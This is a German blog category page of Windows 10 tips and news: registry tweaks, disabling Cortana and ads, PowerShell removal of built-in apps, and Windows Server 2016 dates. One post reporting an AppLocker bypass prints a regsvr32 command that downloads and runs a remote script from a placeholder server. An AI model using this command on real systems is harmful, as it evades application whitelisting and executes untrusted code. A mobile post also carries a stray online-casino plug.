Kategorie: Windows 10

Windows 10: Microsoft-Konto in lokales Konto umwandeln

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Nur ein Klick zu viel und schon wird das lokale Windows-Konto unter Windows 10 automatisch zu einem Microsoft-Konto umgewandelt. Auch bei einer frischen Installation von Windows 10 macht es Microsoft schwerer als nötig, um ein lokales Benutzerkonto einzurichten und zu verwenden. Immerhin ist es nachträglich noch möglich, ein Microsoft-Konto in ein lokales Konto umzuwandeln. Nachfolgend eine kleine Anleitung, wie ihr vorgehen müsst.

Zuerst müsst ihr die Einstellungen öffnen und links den Menüpunkt “Konten” auswählen.

Jetzt auf den Link “Stattdessen mit einem lokalen Konto anmelden” klicken.

Vor es weiter geht müsst ihr das Passwort eures aktuell benutzten Microsoft-Kontos angeben.

Anschließend könnt ihr den Benutzernamen und optional das Passwort des lokalen Kontos festlegen.

Mit dem Klick auf den Button “Abmelden und fertig stellen” beendet ihr den Prozess. Nach einem Neustart steht euer lokales Konto zur Verfügung.

Windows 10: Standarddrucker ändert sich automatisch

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Unter Windows 10 kämpfen viele Leute mit dem anscheinend willkürlichen Wechsel des Standarddruckers. Tatsächlich ist dies aber kein Fehler, sondern ein Feature! Die neue Funktion wurde mit dem Windows 10 November Update (Version 1511) eingeführt und sorgt dafür, dass der zuletzt verwendete Drucker automatisch als Standarddrucker gesetzt wird. Viele Leute kommen mit dieser Neuerung nicht klar und bevorzugen das altbekannte Verhalten aus den vorherigen Windows Varianten. Glücklicherweise lässt sich dies relativ einfach wiederherstellen.

In den Einstellungen unter Geräte / Drucker & Scanner findet sich die entsprechende Option.
Wenn man den Schalter bei “Standarddrucker von Windows verwalten lassen” auf “Aus” ändert, dann hat der “Spuk” ein Ende.

Möglichkeit 1: Einstellungen

Zunächst müsst ihr die Einstellungen öffnen und den Punkt “Geräte” wählen. Anschließend links im Menü zu “Drucker & Scanner” wechseln.

Hier muss die Einstellung “Standarddrucker von Windows verwalten lassen” auf “Aus” gestellt werden (siehe Screenshot).

Windows10_Standarddrucker

Diese Lösung ist nutzerspezifisch und muss für jeden Windows Benutzer separat eingestellt werden.

Für die Zentrale Einstellung kommt eher Lösung 2 in Betracht.

Möglichkeit 2: Registrierungs-Editor

Die automatische Änderung des Standarddruckers lässt sich leider nicht per Gruppenrichtlinien steuern. Wer das Feature gerne im ganzen Unternehmen deaktivieren möchte, kann dies über einen Registry-Tweak bewerkstelligen.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  3. Hier muss der Wert “LegacyDefaultPrinterMode” auf “1” gesetzt werden.
  4. Der Standarddrucker wird jetzt nicht mehr automatisch verstellt.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.

Windows 10 Standarddrucker automatisch setzen - Registry

Windows Server 2016 kommt im September und weitere Infos

Windows Server 2016 Logo

In Toronto (Kanada) findet derzeit die Microsoft Worldwide Partner Conference statt. Im Zuge dessen hat Microsoft den Veröffentlichungstermin für Windows Server 2016 bekannt gegeben. Die neue Version soll am 26. September 2016 auf der Ignite 2016 in Atlanta vorgestellt werden und gleichzeitig auch verfügbar sein. Wer sich vorab ein Bild von Windows Server 2016 machen möchte, kann die Technical Preview 5 herunterladen und testen.

Windows Server 2016 wird es in drei Versionen geben:

  • Datacenter (unlimitierte Virtualisierung und neue Features wie Shielded Virtual Machines, Software-defined Storage (SDS) und Software-defined Networking (SDN))
  • Standard (universelles Server-Betriebssystem mit limitierter Virtualisierung)
  • Essentials (für kleinere Unternehmen mit bis zu 25 Usern und bis zu 50 Geräten)

Neben Windows Server 2016 soll auch System Center 2016 veröffentlicht werden. Die Produktfamilie besteht in der Version 2016 aus folgenden Komponenten:

  • Virtual Machine Manager 2016 (VM Management)
  • Operations Manager 2016 (Monitoring)
  • Configuration Manager (Client- bzw. Device Management)
  • Orchestrator oder Service Management Automation (SMA)
  • Data Protection Manager (Backup and Recovery)
  • Service Manager 2016 (Workflows, Helpdesk, etc.)

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Windows 10 Mobile: Blüht eine neue Zukunft?

Microsoft und Windows Phone bzw. Windows 10 Mobile: Das ist eine lange und schwierige Geschichte. So gewannen die Redmonder anno dazumal den finnischen Hersteller Nokia als wichtigsten Partner im mobilen Segment und übernahmen später sogar dessen mobile Sparte. Der ehemalige Handy-Marktführer lizenziert nun im mobilen Segment nur noch seinen Namen an andere Hersteller, während Microsoft dessen ehemalige Marke Lumia selbst weiterführt. Aktuell lässt neue Hardware allerdings auf sich warten. Einige Andeutungen in den letzten Monaten ließen durchblicken, dass erstmal auch keine neuen Lumia-Smartphones geplant scheinen. Allerdings ist Microsoft natürlich nicht der einzige Hersteller von Smartphones mit Windows Phone / Windows 10 Mobile.

HP Elite x3

HP Elite x3 (Bild: HP)

Vielversprechend ist etwa die Ankündigung des HP Elite x3, das noch dieses Jahr erscheinen soll. Das High-End-Smartphone unterstützt Sicherheitstechniken wie ein Trusted Platform Module und das Feature Continuum. Das Phablet mit 5,96 Zoll lässt sich somit über ein Dock für Office-Zwecke wie ein PC verwenden. Außerdem soll es einen recht innovativen “Mobile Extender” geben: ein Laptop-Gehäuse mit Bildschirm, durch welches sich das HP Elite x3 im Grunde zu einem Notebook transformiert. Auch was Apps betrifft sollte man noch nicht alle Hoffnung fahren lassen: Gerade erst hat die Deutsche Bahn angekündigt den bisher unter Windows 10 Mobile stiefmütterlich behandelten DB Navigator in seinen Features den Android- und iOS-Versionen anzugleichen. Und auch mit dem Mobile Gaming ist es unter Windows 10 Mobile noch lange nicht vorbei. Zwar hat der finnische Entwickler Rovio jüngst angekündigt seine Marke “Angry Birds” für Windows Phone / Windows 10 Mobile nicht weiter fortzusetzen, um sich auf Android und iOS zu fokussieren,  doch gerade die Universal Windows Platform bietet Entwicklern Chancen, die noch brachliegen. Klar, alternativ kann man sich online als Zocker z. B. auchh bei den besten Online Casinos gut die Zeit vertreiben, aber ich sehe hier für Windows 10 Mobile, gerade da auch Xbox One und PCs näher aneinander rücken, viele, potentielle Synergieeffekte.

Ob es dazu kommen wird? Im April bekräftigte Terry Myerson, seines Zeichens ausführender Vizepräsident der Sparte für Windows und entsprechende Endgeräte bei Microsoft, dass die Redmonder noch “für viele Jahre” an Windows 10 Mobile festhalten wollen. Daran ändern also auch die aktuell niedrigen Marktanteile erstmal nichts. Außerdem könnte das Surface Phone die Wende bringen: Auch Microsofts Tablets der Reihe Surface, die sich via Dock als vollwertige Notebooks einspannen lassen, sorgten anfangs für Unkenrufe. Mittlerweile sind die Hybrid-Tablets äußerst renommiert. Gerüchten zufolge wird Microsoft ihnen Anfang 2017 ein Surface Phone mit Windows 10 Mobile zur Seite stellen. Hier erkenne ich vielleicht auch den Weg für die Zukunft: Kevin Gallo, Microsofts  Corporate-Vizepräsident für Windows, erklärte kürzlich nämlich, dass für die Redmonder alle Hinweise in Richtung Geschäftskunden deuten. Jene Zielgruppe visiert ja auch das HP Elite x3 an. So könnte Microsoft mit einem stärkeren Fokus auf Produktivität und Sicherheit eventuell jene Kunden erreichen, die früher vornehmlich auf BlackBerry gesetzt haben und von den Features und der Security unter Android und Apple iOS enttäuscht sind. Hier könnte Microsoft seine geballten Beziehungen nutzen und Windows 10 Mobile fest verankern – auch abseits der Privatkunden.

Warten wir es ab: Aktuell lebt Windows 10 Mobile jedenfalls noch und es gibt durchaus mehrere Wege, die in eine beständige Zukunft führen könnten. Die Dominanz von Android und iOS wird Microsoft sicherlich nicht mehr brechen können, aber auch in einer Nische kann man aufblühen.

Windows 10: Alte Lautstärkeregelung reaktivieren

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Mit Windows 10 hat Microsoft die Lautstärkeregelung im Systemtray optisch überarbeitet. Wer aber lieber die Variante von Windows 7 nutzen möchte, kann die alte Lautstärkeregelung ganz einfach wieder aktivieren.

Windows 10 Lautstärkeregelung

Windows 10 Lautstärkeregelung: Links Standard, rechts alte Variante

Die alte Lautstärkeregelung kann mit Hilfe des Registrierungs-Editors wieder aktiviert werden. Folgendermaßen müsst ihr vorgehen:

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
  3. Wenn der Schlüssel “MTCUVC” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “EnableMtcUvc” und dem Wert “0” erstellt werden.
  5. Die alte Lautstärkeregelung ist wieder aktiviert. Zum Deaktivieren einfach den Wert auf  “1” setzen oder den Schlüssel “MTCUVC” wieder löschen.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.

Microsoft löst einige Probleme bei der Windows 10 Aktivierung

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Kurz vor Veröffentlichung des Windows 10 Anniversary Updates am 02. August hat Microsoft mit der Windows 10 Insider Preview Build 14371 eine kleine Überraschung an Bord. Ab sofort hat Windows 10 einen Aktivierungs-Troubleshooter eingebaut, welcher mit dem Anniversary Update für alle Nutzer zur Verfügung steht. Damit sollen laut Microsoft diverse Aktivierungsprobleme der Vergangenheit angehören.

Seit der Veröffentlichung von Windows 10 vor einem Jahr kommt es immer wieder zur Verwirrung bei der Aktivierung und Lizenzierung von Windows 10. Wer sich im Internet auf die Suche macht, wird sehr schnell viele Fragen zu diesen Themen finden. Leider sind die Antworten teilweise widersprüchlich und am Ende finden sich nur noch mehr offene Fragen. Auch ich habe einige Male darüber berichtet, beispielsweise hier und hier. Mit dem Troubleshoot-Tool möchte Microsoft jetzt einige Fragen und Probleme lösen.

Ihr erinnert euch vielleicht: Anfangs musste man von einem aktivierten Windows 7 oder Windows 8.1 starten und dort dann das Upgrade auf Windows 10 durchführen. Windows 10 wurde dann automatisch durch den Abgleich eines vorher erstellten digitalen Fingerabdrucks (“Digital Entitlement”) aktiviert. Mit dem November-Update (Windows 10 Version 1511) kam dann die Möglichkeit hinzu, Windows 10 mit Produkt-Keys von Windows 7, 8 oder 8.1 zu aktivieren. Im Hintergrund wird aber auch hier ein digitaler Fingerabdruck erstellt. Ab sofort kann diese digitale Windows-10-Lizenz mit eurem Microsoft-Konto gekoppelt werden. Sofern man mit einem Microsoft-Konto auf einem Windows-10-Gerät angemeldet ist geschieht dies automatisch. Bei Problemen – insbesondere beim Tausch von Hardware wie Festplatten oder Mainboards – soll der Troubleshooter eine einfache und schnelle Reaktivierung ermöglichen.

Dennoch sind noch nicht alle Fragen und Probleme geklärt. Wie verhält es sich bei OEM- oder Systembuilder-Lizenzen? Muss man seine digitale Lizenz zwangsweise mit einem Microsoft-Konto koppeln oder hilft der Aktivierungs-Troubleshooter auch ohne Konto? Dennoch ist es erfreulich, dass sich Microsoft endlich den bestehenden Problemen annimmt und eine Lösung anbietet. Wie sich der Aktivierungs-Troubleshooter in der Praxis schlägt werden wir spätestens im August sehen.

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Windows 10 Anniversary Update erscheint am 2. August 2016

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Heute hat Microsoft den Termin für die Veröffentlichung des Windows 10 Anniversary Updates bekannt gegeben. Demnach erscheint das Update erst am 2. August 2016 und nicht, wie bisher vermutet, am 29. Juli 2016. In meinen Augen etwas seltsam, denn der Name “Anniversary Update” würde eher auf den Jahrestag der Windows-10-Einführung hindeuten. Außerdem läuft auch die einjährige Frist des Gratis-Upgrades am 29. Juli ab. Interessant in diesem Zusammenhang ist noch, ob die neue Versionsbezeichnung nach wie vor 1607 lautet oder auf 1608 angepasst wird.

Außerdem hat Microsoft verlauten lassen, dass mittlerweile 350 Millionen Geräte mit Windows 10 laufen. Vor rund drei Monaten waren es 270 Millionen.

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Windows 10: Werbe-Apps im Startmenü entfernen

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Windows 10 zeigt im Startmenü standardmäßig App-Empfehlungen an. Darunter befinden sich beispielsweise Twitter, Flipboard oder Candy Crush Soda. Dabei handelt es sich um Verknüpfungen, die per Klick zu den jeweiligen Apps im Windows Store führen. Mit dem bevorstehenden “Anniversary Update” alias Windows 10 Version 1607, soll die Anzahl der angezeigten “Werbe-Apps” sogar noch erhöht werden. Dieser Tipp zeigt euch, wie ihr die App-Empfehlungen deaktivieren könnt.

Möglichkeit 1: Einstellungen

Zunächst müsst ihr die Einstellungen öffnen und auf  den Punkt “Personalisierung” klicken. Anschließend links im Menü auf “Start” klicken und die Option “Gelegentlich Vorschläge im Menü Start” anzeigen” deaktivieren.

Bereits bestehende App-Empfehlungen im Startmenü müssen ggf. manuell per Rechtsklick entfernt werden.

Möglichkeit 2: Editor für lokale Gruppenrichtlinien

Diese Möglichkeit existiert nur unter Windows 10 Pro oder Enterprise und greift gleichzeitig nur für neu erstellte Benutzer, nachdem die Option gesetzt wurde.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “gpedit.msc” eingeben.
  2. Unter “Computerkonfiguration” zu “Administrative Vorlagen”, “Windows-Komponenten” und “Cloudinhalt” wechseln.
  3. Im rechten Fensterbereich muss die Option “Microsoft-Anwederfeatures deaktivieren” aktiviert werden.
  4. Bei neu erstellten Benutzern erscheinen keine Werbe-Apps mehr.

Möglichkeit 3: Registrierungs-Editor

Die zweite Möglichkeit via Registry funktioniert unter allen Windows 10 Editionen. Die Einstellung greift allerdings ebenfalls nur für neu anzulegende Benutzer.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CloudContent
  3. Wenn der Schlüssel “CloudContent” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “DisableWindowsConsumerFeatures” und dem Wert “1” erstellt werden.
  5. Bei neu erstellten Benutzern erscheinen keine Werbe-Apps mehr.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.

Windows 10 Version 1607 aka “Anniversary Update” kommt am 29. Juli 2016

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Der Name “Anniversary Update” hatte es schon vermuten lassen, aber jetzt wurde der Erscheinungstermin von Windows 1607 durch Microsoft-Unterlagen bestätigt. Demnach erscheint das nächste große Windows 10 Update am 29. Juli 2016, also genau ein Jahr nach der Einführung von Windows 10. Das Datum wurde in einer Präsentation der WinHEC-Konferenz erwähnt.

Auf die Neuerungen des “Anniversary Updates” bin ich bereits in einem Artikel eingegangen.

Quelle: WinHEC Slides - Introduction of the New Universal Dev Center for Hardware

Quelle: Microsoft / WinHEC Slides – Introduction of the New Universal Dev Center for Hardware

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Cortana deaktivieren ab Windows 10 Version 1607

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In meinem Artikel “Windows 10: Cortana deaktivieren, Offline-Suche aktivieren” habe ich bereits beschrieben, wie sich Cortana bis Windows 10 Version 1511 (Build 10586) deaktivieren lässt. Mit dem aufkommenden Anniversary Update funktioniert diese Methode allerdings nicht mehr. Nachfolgend die neuen Möglichkeiten, wie Cortana ab Windows 10 Version 1607 bzw. Build 14328 deaktiviert werden kann.

Möglichkeit 1: Editor für lokale Gruppenrichtlinien

Diese Möglichkeit existiert nur unter Windows 10 Pro oder Enterprise.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “gpedit.msc” eingeben.
  2. Unter “Computerkonfiguration” zu “Administrative Vorlagen”, “Windows-Komponenten” und “Suche” wechseln.
  3. Im rechten Fensterbereich die beiden Optionen “Cortana zulassen” und “Der Suche und Cortana die Nutzung von Positionsdaten erlauben” auf “Deaktiviert” stellen.
  4. Zusätzlich könnt ihr auch die Websuche deaktivieren. Dazu müssen die beiden Optionen “Websuche nicht zulassen” und “Nicht im Web suchen und keine Webergebnisse in der Suche anzeigenaktiviert werden.
  5. Nach einem Neustart der “Explorer.exe” oder des kompletten PCs ist Cortana deaktiviert.

Möglichkeit 2: Registrierungs-Editor

Ab Windows 10 Version 1803 funktioniert die Abschaltung der Websuche nicht mehr so wie hier beschrieben. Weitere Infos findet ihr in meinem Beitrag “Cortana-Websuche deaktivieren ab Windows 10 Version 1803“.

Die zweite Möglichkeit via Registry funktioniert unter allen Windows 10 Editionen.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Windows Search
  3. Wenn der Schlüssel “Windows Search” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “AllowCortana” und dem Wert “0” erstellt werden.
  5. Unter Windows 10 x64 muss dieser DWORD-Wert auch noch unter folgendem Pfad angelegt werden:
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\Windows Search
  6. Falls die Websuche auch deaktiviert werden soll, müssen zusätzlich die DWORD-Werte “AllowSearchToUseLocation” (“0“), “ConnectedSearchUseWeb” (“0“), “DisableWebSearch” (“1“) und “ConnectedSearchPrivacy(3) erstellt werden (siehe Screenshot).
  7. Zur Deaktivierung von Cortana muss die “Explorer.exe” oder der gesamte PC neugestartet werden.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.


“Apps deaktivieren, um die Leistung zu verbessern”-Meldung im Info-Center unter Windows 10 deaktivieren

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Unter Windows 10 wird im Info-Center eine Meldung angezeigt, wenn mindestens drei neue Apps automatisch gestartet und im Hintergrund ausgeführt werden: “Apps deaktivieren, um die Leistung zu verbessern”.

Dieser Hinweis ist für viele Nutzer störend und könnte den ein oder anderen auch verwirren. Glücklicherweise kann er relativ einfach entfernt werden.

Die Meldung wird durch eine geplante Aufgabe angestoßen, die ihr ohne Probleme deaktivieren könnt. Ihr findet die Aufgabe in der Aufgabenplanung unter “Windows”, “Application Experience” und “StartupAppTask”. Dort müsst ihr die Aufgabe deaktivieren. Ab dem nächsten Neustart sollte die nervige Meldung nicht mehr erscheinen.

 

Natürlich kann der Task auch automatisch via Skript deaktiviert werden, beispielsweise via Gruppenrichtlinie oder nach der Installation des Betriebssystems. Dazu wird eine Eingabeaufforderung (“cmd.exe”) mit Administrationsrechten benötigt:

schtasks /Change /TN "\Microsoft\Windows\Application Experience\StartupAppTask" /DISABLE

Bei einigen wenigen Usern soll das Deaktivieren der Aufgabe angeblich keine Abhilfe schaffen. In diesem Fall soll aber die zweite Methode erfolgreich sein. Dazu müsst ihr in der Systemsteuerung den Punkt “Sicherheit und Wartung” öffnen. Mit einem Klick auf “Meldungen zu Start-Apps deaktivieren” könnt ihr die störende Meldung ebenfalls eliminieren. Allerdings funktioniert dieser Tipp erst, sobald die Meldung im Info-Center erschienen ist.

Windows-Schwachstelle erlaubt Umgehung von AppLocker

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Das Sicherheitsfeature AppLocker wurde mit Windows 7 eingeführt (nur bei Enterprise bzw. Ultimate vorhanden) und kommt hauptsächlich in Unternehmen zum Einsatz. AppLocker ermöglicht die Steuerung von Anwendungen, App-Paketen, DLLs und Skripten. Damit lassen sich beispielsweise bestimmte Programme auf Black- oder Whitelists setzen. In letzter Zeit wird AppLocker auch häufig gegen Malware und Ransomware eingesetzt, um ungewünschte Aktivitäten auf Systemen zu blockieren. Allerdings wurde jetzt eine Schwachstelle bekannt, wie sich die AppLocker-Ausführungsregeln relativ leicht umgehen lassen.

Der Sicherheitsforscher Casey Smith hat eine Schwachstelle entdeckt, wobei AppLocker mit Hilfe des Befehlszeilenprogramms “Regsvr32” (Microsoft Register Server) ausgehebelt werden kann. Regsvr32 wird üblicherweise zum Registrieren von DLL-Dateien verwendet, was im Normalfall allerdings Administratorrechte erfordert. Jetzt kommt der spannende Punkt: Wenn man dem Register Server eine JavaScript- oder VBScript-Datei übergibt, wird diese ohne weitere Nachfrage ausgeführt. Auch AppLocker greift hierbei nicht und es werden auch keine Administratorrechte angefordert.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Mit dieser Technik lassen sich auch Skripte über HTTP oder HTTPS nachladen, da Regsvr32 auch URLs akzeptiert. Da keine Änderungen an der Registry durchgeführt werden, ist ein Missbrauch auch relativ schwer zu erkennen. Bei Github existiert ein Proof of Concept mit einigen Beispiel-Skripten.

Microsoft wurde bereits über das Problem informiert, hat sich aber noch nicht zu Wort gemeldet. Bis dahin kann “regsvr32.exe” über die Windows Firewall blockiert werden, sodass zumindest eine Ausführung über das Netzwerk verhindert werden kann.

Windows 10: Microsoft Edge entfernen

Microsoft Edge Logo

Microsoft Edge ist der neue Standardbrowser unter Windows 10. Doch viele Benutzer können mit dem Browser nichts anfangen, da noch einige wichtige Funktionen fehlen, er sich nur spärlich konfigurieren lässt, einige Webseiten nur mit Darstellungsfehlern angezeigt werden und er alles in allem unfertig wirkt. Zu allem Überfluss kommt Microsoft Edge als sogenannte System-App daher, die sich leider nicht deinstallieren lässt, auch nicht per PowerShell. Allerdings existiert ein Weg, wie man Edge deaktivieren bzw. entfernen kann.

Hierzu öffnet ihr den Explorer und navigiert zum Ordner “C:\Windows\SystemApps“. Dort befinden sich alle System-Apps von Windows 10. Zur Deaktivierung müsst ihr den Ordner der entsprechenden App einfach nur umbenennen. Alternativ kann der Ordner auch gelöscht werden, was ich jedoch nicht empfehlen würde. Der Ordner für Edge besitzt die Bezeichnung “Microsoft.MicrosoftEdge_8wekyb3d8bbwe”.

Microsoft Edge entfernen

Im Grunde seid ihr nun schon fertig. Durch die Umbenennung kann Windows den Edge-Ordner nicht mehr finden. Im Startmenü und der Suche bleibt Edge weiterhin sichtbar, lässt sich aber nicht mehr starten. Des Weiteren besteht die Möglichkeit, dass Microsoft Edge mit einem zukünftigen Windows Update wieder aktiviert werden könnte.

Insgesamt ist die oben beschriebene Methode also nur ein halb garer Versuch zur Deinstallation von Edge. Viel mehr ist derzeit aber nicht möglich.

Windows 10 Apps entfernen

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Es existieren mehrere Möglichkeiten um Apps unter Windows 10 zu entfernen. So können sie unter anderem direkt im Startmenü, über die Einstellungen (System, Apps & Features) oder im Windows Store deinstalliert werden. Allerdings funktioniert diese Vorgehensweise nicht bei vorinstallierten Apps. Diese sind in Windows 10 integriert und lassen sich nicht über die oben genannten Wege entfernen. Wie unter Windows 8.1 lautet die Lösung PowerShell.

Einzelne Apps unter Windows 10 entfernen

Zuerst muss die PowerShell mit Administratorrechten gestartet werden. Anschließend können die einzelnen Apps mit folgenden Befehlen deinstalliert werden.

3D Builder deinstallieren

Get-AppxPackage *3d* | Remove-AppxPackage

Alarm & Uhr deinstallieren

Get-AppxPackage *windowsalarms* | Remove-AppxPackage

Begleiter für Telefon deinstallieren

Get-AppxPackage *windowsphone* | Remove-AppxPackage

Erste Schritte deinstallieren

Get-AppxPackage *getstarted* | Remove-AppxPackage

Filme & TV deinstallieren

Get-AppxPackage *zunevideo* | Remove-AppxPackage

Finanzen deinstallieren

Get-AppxPackage *bingfinance* | Remove-AppxPackage

Food & Drink deinstallieren

Get-AppxPackage *bingfood* | Remove-AppxPackage

Fotos deinstallieren

Get-AppxPackage *photos* | Remove-AppxPackage

Gesundheit & Fitness deinstallieren

Get-AppxPackage *binghealth* | Remove-AppxPackage

Groove-Musik deinstallieren

Get-AppxPackage *zunemusic* | Remove-AppxPackage

Kalender & Mail deinstallieren

Get-AppxPackage *windowscommunicationsapps* | Remove-AppxPackage

Kamera deinstallieren

Get-AppxPackage *windowscamera* | Remove-AppxPackage

Karten deinstallieren

Get-AppxPackage *windowsmaps* | Remove-AppxPackage

Kontakte deinstallieren

Get-AppxPackage *people* | Remove-AppxPackage

Microsoft Solitaire Collection deinstallieren

Get-AppxPackage *solitairecollection* | Remove-AppxPackage

Microsoft Wi-Fi deinstallieren

Get-AppxPackage *connectivitystore* | Remove-AppxPackage

Nachrichten deinstallieren

Get-AppxPackage *bingnews* | Remove-AppxPackage

Nachrichten deinstallieren

Get-AppxPackage *messaging* | Remove-AppxPackage

Office holen deinstallieren

Get-AppxPackage *officehub* | Remove-AppxPackage

OneNote deinstallieren

Get-AppxPackage *onenote* | Remove-AppxPackage

Reader deinstallieren

Get-AppxPackage *reader* | Remove-AppxPackage

Reading List deinstallieren

Get-AppxPackage *reading* | Remove-AppxPackage

Rechner deinstallieren

Get-AppxPackage *windowscalculator* | Remove-AppxPackage

Skype UWP Preview deinstallieren

Get-AppxPackage *skypeapp* | Remove-AppxPackage

Sport deinstallieren

Get-AppxPackage *bingsports* | Remove-AppxPackage

Sprachrekorder deinstallieren

Get-AppxPackage *soundrecorder* | Remove-AppxPackage

Store deinstallieren

Get-AppxPackage *windowsstore* | Remove-AppxPackage

Sway deinstallieren

Get-AppxPackage *sway* | Remove-AppxPackage

Telefon deinstallieren

Get-AppxPackage *commsphone* | Remove-AppxPackage

Travel deinstallieren

Get-AppxPackage *bingtravel* | Remove-AppxPackage

Wetter deinstallieren

Get-AppxPackage *bingweather* | Remove-AppxPackage

Xbox deinstallieren

Get-AppxPackage *xboxapp* | Remove-AppxPackage

Die oben aufgeführten Befehle deinstallieren die Apps nur für den aktuell verwenden Benutzeraccount. Möchte man die Apps für alle Benutzer deinstallieren, muss jeweils noch “-allusers” angefügt werden. Hier ein Beispiel:

Get-AppxPackage -allusers *getstarted* | Remove-AppxPackage

Alle Apps unter Windows 10 entfernen

Die Apps sind unter Windows 10 noch tiefer mit dem System verbunden, wie unter Windows 8.1. Aus diesem Grund sollte man die Apps nur löschen, wenn man dies als unbedingt notwendig erachtet und die möglichen Komplikationen vor Augen hat. Es können unter anderem Probleme mit dem Startmenü, Cortana oder den Benachrichtigungen entstehen. Außerdem kann das Entfernen der Standard-Apps bei zukünftigen Windows Updates zu Problemen führen.

Anstatt alle installierten Apps einzeln zu entfernen, können sie auch mit einem einzigen Befehl deinstalliert werden:

Get-AppxPackage | Remove-AppxPackage

Während der oben genannte Befehl nur für den aktuell angemeldeten Benutzer gilt, existiert natürlich auch das Pendant für alle User:

Get-AppxPackage -allusers | Remove-AppxPackage

Zudem lassen sich die Apps auch aus dem Windows-Image entfernen, d.h. neu angelegte Benutzerkonten werden ohne Apps angelegt.

Get-AppXProvisionedPackage -online | Remove-AppxProvisionedPackage -online

Windows 10 Standard Apps wieder installieren

Wer die Standard Apps von Windows 10 wieder installieren möchte kann diesen Befehl nutzen:

Get-AppxPackage -AllUsers| Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"}

Windows 10 Version 1511 landet im Current Branch for Business (CBB)

Windows 10 Logo

Das erste große Update für Windows 10 ist am 12. November 2015 erschienen. Jetzt steht Windows 10 Version 1511 (Build 10586) im “Current Branch for Business” (CBB) für Geschäftskunden bereit. Damit ist das Feature-Update rund einen Monat später im CBB verfügbar, als eigentlich von Microsoft vorgesehen war. Die Roadmap von Microsoft sieht normalerweise vor, dass eine neue Version ca. vier Monate nach der Veröffentlichung im Current Branch (CB) in den CBB wandert, wo sie dann ca. acht Monate getestet werden kann. Insgesamt stehen also zwölf Monate zur Verfügung, bevor eine neue Version in der Produktivumgebung ausgerollt werden muss.

Alle Computer im Current Branch, bei denen die Update-Option “Upgrades zurückstellen” aktiviert ist, bekommen Windows 10 1511 in wenigen Tagen automatisch ausgerollt. Computer im CBB könnten dann zeitgleich auch auf Version 1511 gehoben werden. Allerdings werden die meisten Kunden hier vermutlich die achtmonatige Testphase nutzen, bevor sie das Update ausrollen. Wer die Frist jedoch verstreichen lässt, bekommt gar keine Updates mehr, auch keine Sicherheitsrelevanten. Wer nach insgesamt zwölf Monaten nicht updaten kann bzw. möchte, sollte auf den “Long Term Service Branch” wechseln, denn dort gibts bis zu zehn Jahre Updates, ohne ein Feature-Update einzuspielen.

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